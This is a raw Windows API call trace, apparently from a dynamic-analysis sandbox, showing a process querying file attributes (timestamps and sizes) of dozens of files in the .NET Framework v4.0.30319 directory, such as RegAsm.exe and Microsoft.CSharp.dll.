	[0087.775] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.CSharp.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.csharp.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274b138 | out: lpFileInformation=0x1274b138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cc5b560, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x764b8)) returned 1
	[0087.775] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.CSharp.targets" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.csharp.targets"), fInfoLevelId=0x0, lpFileInformation=0x1274b188 | out: lpFileInformation=0x1274b188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c344900, ftCreationTime.dwHighDateTime=0x1cd425b, ftLastAccessTime.dwLowDateTime=0xcfa03980, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x5c344900, ftLastWriteTime.dwHighDateTime=0x1cd425b, nFileSizeHigh=0x0, nFileSizeLow=0x5c42)) returned 1
	[0087.775] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Common.OverrideTasks" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.common.overridetasks"), fInfoLevelId=0x0, lpFileInformation=0x1274b1d8 | out: lpFileInformation=0x1274b1d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53abef00, ftCreationTime.dwHighDateTime=0x1d06a02, ftLastAccessTime.dwLowDateTime=0x5cc0f2a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x53abef00, ftLastWriteTime.dwHighDateTime=0x1d06a02, nFileSizeHigh=0x0, nFileSizeLow=0x1899)) returned 1
	[0087.776] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Common.Tasks" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.common.tasks"), fInfoLevelId=0x0, lpFileInformation=0x1274b228 | out: lpFileInformation=0x1274b228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd22800, ftCreationTime.dwHighDateTime=0x1cd0c63, ftLastAccessTime.dwLowDateTime=0xcf9b76c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xdfd22800, ftLastWriteTime.dwHighDateTime=0x1cd0c63, nFileSizeHigh=0x0, nFileSizeLow=0x3a32)) returned 1
	[0087.776] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Common.targets" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.common.targets"), fInfoLevelId=0x0, lpFileInformation=0x1274b278 | out: lpFileInformation=0x1274b278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53abef00, ftCreationTime.dwHighDateTime=0x1d06a02, ftLastAccessTime.dwLowDateTime=0x5cc0f2a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x53abef00, ftLastWriteTime.dwHighDateTime=0x1d06a02, nFileSizeHigh=0x0, nFileSizeLow=0x40193)) returned 1
	[0087.776] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Data.Entity.Build.Tasks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.data.entity.build.tasks.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274b2c8 | out: lpFileInformation=0x1274b2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cca7820, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xcd08)) returned 1
	[0087.777] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Data.Entity.targets" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.data.entity.targets"), fInfoLevelId=0x0, lpFileInformation=0x1274b318 | out: lpFileInformation=0x1274b318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1251b100, ftCreationTime.dwHighDateTime=0x1d07a8f, ftLastAccessTime.dwLowDateTime=0x5cca7820, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x1251b100, ftLastWriteTime.dwHighDateTime=0x1d07a8f, nFileSizeHigh=0x0, nFileSizeLow=0x1965)) returned 1
	[0087.777] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Internal.Tasks.Dataflow.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.internal.tasks.dataflow.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274b368 | out: lpFileInformation=0x1274b368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5ccf3ae0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2cf08)) returned 1
	[0087.777] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.JScript.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.jscript.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274b3b8 | out: lpFileInformation=0x1274b3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cee2cc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xb7cc8)) returned 1
	[0087.777] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.JScript.tlb" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.jscript.tlb"), fInfoLevelId=0x0, lpFileInformation=0x1274b408 | out: lpFileInformation=0x1274b408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70931400, ftCreationTime.dwHighDateTime=0x1d0aa7f, ftLastAccessTime.dwLowDateTime=0x5cf08e20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x70931400, ftLastWriteTime.dwHighDateTime=0x1d0aa7f, nFileSizeHigh=0x0, nFileSizeLow=0xe200)) returned 1
	[0087.778] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.NETFramework.props" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.netframework.props"), fInfoLevelId=0x0, lpFileInformation=0x1274b458 | out: lpFileInformation=0x1274b458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c344900, ftCreationTime.dwHighDateTime=0x1cd425b, ftLastAccessTime.dwLowDateTime=0xcfa4fc40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x5c344900, ftLastWriteTime.dwHighDateTime=0x1cd425b, nFileSizeHigh=0x0, nFileSizeLow=0x2eb5)) returned 1
	[0087.778] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.NETFramework.targets" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.netframework.targets"), fInfoLevelId=0x0, lpFileInformation=0x1274b4a8 | out: lpFileInformation=0x1274b4a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd183f00, ftCreationTime.dwHighDateTime=0x1cd1085, ftLastAccessTime.dwLowDateTime=0xcfa4fc40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xd183f00, ftLastWriteTime.dwHighDateTime=0x1cd1085, nFileSizeHigh=0x0, nFileSizeLow=0x1ff7)) returned 1
	[0087.779] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.ServiceModel.targets" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.servicemodel.targets"), fInfoLevelId=0x0, lpFileInformation=0x1274b4f8 | out: lpFileInformation=0x1274b4f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83364f00, ftCreationTime.dwHighDateTime=0x1cd424a, ftLastAccessTime.dwLowDateTime=0xcfa75da0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x83364f00, ftLastWriteTime.dwHighDateTime=0x1cd424a, nFileSizeHigh=0x0, nFileSizeLow=0x2637)) returned 1
	[0087.782] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Transactions.Bridge.Dtc.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.transactions.bridge.dtc.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274b548 | out: lpFileInformation=0x1274b548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cd65f00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1fd08)) returned 1
	[0087.782] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Transactions.Bridge.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.transactions.bridge.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274b598 | out: lpFileInformation=0x1274b598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cd19c40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x61908)) returned 1
	[0087.782] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.VisualBasic.Activities.Compiler.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.visualbasic.activities.compiler.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274b5e8 | out: lpFileInformation=0x1274b5e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x56d70820, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2d0b28)) returned 1
	[0087.783] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.VisualBasic.Compatibility.Data.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.visualbasic.compatibility.data.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274b638 | out: lpFileInformation=0x1274b638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cf550e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1c728)) returned 1
	[0087.783] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.VisualBasic.Compatibility.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.visualbasic.compatibility.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274b688 | out: lpFileInformation=0x1274b688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cf7b240, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7a110)) returned 1
	[0087.783] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.VisualBasic.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.visualbasic.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274b6d8 | out: lpFileInformation=0x1274b6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cfc7500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x9c6d8)) returned 1
	[0087.784] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.VisualBasic.targets" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.visualbasic.targets"), fInfoLevelId=0x0, lpFileInformation=0x1274b728 | out: lpFileInformation=0x1274b728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c344900, ftCreationTime.dwHighDateTime=0x1cd425b, ftLastAccessTime.dwLowDateTime=0xcfae81c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x5c344900, ftLastWriteTime.dwHighDateTime=0x1cd425b, nFileSizeHigh=0x0, nFileSizeLow=0x597b)) returned 1
	[0087.784] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.VisualC.Dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.visualc.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274b778 | out: lpFileInformation=0x1274b778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x695ceb00, ftCreationTime.dwHighDateTime=0x1d09e6f, ftLastAccessTime.dwLowDateTime=0x5d0137c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x695ceb00, ftLastWriteTime.dwHighDateTime=0x1d09e6f, nFileSizeHigh=0x0, nFileSizeLow=0x76c0)) returned 1
	[0087.784] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.VisualC.STLCLR.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.visualc.stlclr.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274b7c8 | out: lpFileInformation=0x1274b7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x695ceb00, ftCreationTime.dwHighDateTime=0x1d09e6f, ftLastAccessTime.dwLowDateTime=0x5cdb21c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x695ceb00, ftLastWriteTime.dwHighDateTime=0x1d09e6f, nFileSizeHigh=0x0, nFileSizeLow=0xc6e8)) returned 1
	[0087.785] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.WinFx.targets" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.winfx.targets"), fInfoLevelId=0x0, lpFileInformation=0x1274b818 | out: lpFileInformation=0x1274b818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x527ac200, ftCreationTime.dwHighDateTime=0x1d06a02, ftLastAccessTime.dwLowDateTime=0x5ce4a740, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x527ac200, ftLastWriteTime.dwHighDateTime=0x1d06a02, nFileSizeHigh=0x0, nFileSizeLow=0xa4e5)) returned 1
	[0087.785] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Windows.ApplicationServer.Applications.45.man" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.windows.applicationserver.applications.45.man"), fInfoLevelId=0x0, lpFileInformation=0x1274b868 | out: lpFileInformation=0x1274b868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67bed800, ftCreationTime.dwHighDateTime=0x1cd5d11, ftLastAccessTime.dwLowDateTime=0xcfb0e320, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x67bed800, ftLastWriteTime.dwHighDateTime=0x1cd5d11, nFileSizeHigh=0x0, nFileSizeLow=0xb0d64)) returned 1
	[0087.785] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Windows.ApplicationServer.Applications.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.windows.applicationserver.applications.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274b8b8 | out: lpFileInformation=0x1274b8b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5ce245e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x22588)) returned 1
	[0087.785] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Workflow.Compiler.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.workflow.compiler.exe"), fInfoLevelId=0x0, lpFileInformation=0x1274b908 | out: lpFileInformation=0x1274b908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5ce708a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x80f0)) returned 1
	[0087.786] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Workflow.Compiler.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.workflow.compiler.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x1274b958 | out: lpFileInformation=0x1274b958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d851600, ftCreationTime.dwHighDateTime=0x1cac5f0, ftLastAccessTime.dwLowDateTime=0x9ef6d3c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x2d851600, ftLastWriteTime.dwHighDateTime=0x1cac5f0, nFileSizeHigh=0x0, nFileSizeLow=0x90)) returned 1
	[0087.786] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.WorkflowBuildExtensions.targets" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.workflowbuildextensions.targets"), fInfoLevelId=0x0, lpFileInformation=0x1274b9a8 | out: lpFileInformation=0x1274b9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbee6c700, ftCreationTime.dwHighDateTime=0x1d09e72, ftLastAccessTime.dwLowDateTime=0x5ce708a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xbee6c700, ftLastWriteTime.dwHighDateTime=0x1d09e72, nFileSizeHigh=0x0, nFileSizeLow=0x1d71)) returned 1
	[0087.786] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Xaml.targets" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.xaml.targets"), fInfoLevelId=0x0, lpFileInformation=0x1274b9f8 | out: lpFileInformation=0x1274b9f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8702f00, ftCreationTime.dwHighDateTime=0x1d09e72, ftLastAccessTime.dwLowDateTime=0x5ce96a00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xc8702f00, ftLastWriteTime.dwHighDateTime=0x1d09e72, nFileSizeHigh=0x0, nFileSizeLow=0x4d88)) returned 1
	[0087.787] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MmcAspExt.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mmcaspext.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274ba48 | out: lpFileInformation=0x1274ba48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d0137c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x19ea8)) returned 1
	[0087.787] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\PerfCounter.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\perfcounter.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274ba98 | out: lpFileInformation=0x1274ba98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5db62040, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x334b0)) returned 1
	[0087.787] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\PerfCounters.h" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\perfcounters.h"), fInfoLevelId=0x0, lpFileInformation=0x1274bae8 | out: lpFileInformation=0x1274bae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6cf700, ftCreationTime.dwHighDateTime=0x1cac5e9, ftLastAccessTime.dwLowDateTime=0x9efdf7e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc6cf700, ftLastWriteTime.dwHighDateTime=0x1cac5e9, nFileSizeHigh=0x0, nFileSizeLow=0x34c)) returned 1
	[0087.788] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\PerfCounters.ini" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\perfcounters.ini"), fInfoLevelId=0x0, lpFileInformation=0x1274bb38 | out: lpFileInformation=0x1274bb38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x194a6f00, ftCreationTime.dwHighDateTime=0x1d0aa92, ftLastAccessTime.dwLowDateTime=0x5db881a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x194a6f00, ftLastWriteTime.dwHighDateTime=0x1d0aa92, nFileSizeHigh=0x0, nFileSizeLow=0x25aa8)) returned 1
	[0087.788] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\regasm.exe"), fInfoLevelId=0x0, lpFileInformation=0x1274bb88 | out: lpFileInformation=0x1274bb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f591240, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xfa98)) returned 1
	[0087.788] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\regsvcs.exe"), fInfoLevelId=0x0, lpFileInformation=0x1274bbd8 | out: lpFileInformation=0x1274bbd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5f5b73a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xb0a0)) returned 1
	[0087.789] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SMDiagnostics.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\smdiagnostics.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274bc28 | out: lpFileInformation=0x1274bc28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6158d9e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x11ca8)) returned 1
	[0087.789] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SMSvcHost.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\smsvchost.exe"), fInfoLevelId=0x0, lpFileInformation=0x1274bc78 | out: lpFileInformation=0x1274bc78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61756a60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x212a8)) returned 1
	[0087.789] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SMSvcHost.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\smsvchost.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x1274bcc8 | out: lpFileInformation=0x1274bcc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f9f3000, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x8b560f60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9f9f3000, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0x8d6)) returned 1
	[0087.790] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SOS.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sos.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274bd18 | out: lpFileInformation=0x1274bd18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61815140, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xaee90)) returned 1
